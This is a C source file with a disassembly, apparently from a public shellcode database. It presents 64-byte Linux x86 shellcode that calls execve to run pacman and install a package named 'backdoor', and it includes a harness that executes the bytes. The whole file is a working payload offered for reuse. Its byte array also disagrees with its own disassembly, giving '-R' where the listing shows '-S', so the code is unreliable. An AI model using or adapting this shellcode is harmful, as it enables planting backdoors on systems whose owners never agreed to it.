/*
Title : Linux i686 - pacman -S <package> (default package: backdoor) - 64 bytes
Author : Jonathan Salwan
Mail : submit [!] shell-storm.org
Web : http://www.shell-storm.org
Pacman is a software package manager, developed as part of the Arch Linux distribution.
With this shellcode you can install the backdoor packages.
! DataBase of Shellcodes and you can share your shellcodes : http://www.shell-storm.org/shellcode/ !
Disassembly of section .text:
08048054 <.text>:
8048054: 31 c0 xor %eax,%eax
8048056: 31 db xor %ebx,%ebx
8048058: 31 c9 xor %ecx,%ecx
804805a: 31 d2 xor %edx,%edx
804805c: 31 f6 xor %esi,%esi
804805e: 52 push %edx
804805f: 68 64 6f 6f 72 push $0x726f6f64 << This is a package
8048064: 68 62 61 63 6b push $0x6b636162 << (backdoor). You can change it.
8048069: 89 e6 mov %esp,%esi
804806b: 52 push %edx
804806c: 66 68 2d 53 pushw $0x532d
8048070: 89 e1 mov %esp,%ecx
8048072: 52 push %edx
8048073: 68 63 6d 61 6e push $0x6e616d63
8048078: 68 6e 2f 70 61 push $0x61702f6e
804807d: 68 72 2f 62 69 push $0x69622f72
8048082: 68 2f 2f 75 73 push $0x73752f2f
8048087: 89 e3 mov %esp,%ebx
8048089: 52 push %edx
804808a: 56 push %esi
804808b: 51 push %ecx
804808c: 53 push %ebx
804808d: 89 e1 mov %esp,%ecx
804808f: b0 0b mov $0xb,%al
8048091: 99 cltd
8048092: cd 80 int $0x80
*/
#include <stdio.h>
int main(void)
{
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31"
"\xd2\x31\xf6\x52\x68\x64\x6f"
"\x6f\x72\x68\x62\x61\x63\x6b"
"\x89\xe6\x52\x66\x68\x2d\x52"
"\x89\xe1\x52\x68\x63\x6d\x61"
"\x6e\x68\x6e\x2f\x70\x61\x68"
"\x72\x2f\x62\x69\x68\x2f\x2f"
"\x75\x73\x89\xe3\x52\x56\x51"
"\x53\x89\xe1\xb0\x0b\x99\xcd"
"\x80";
printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
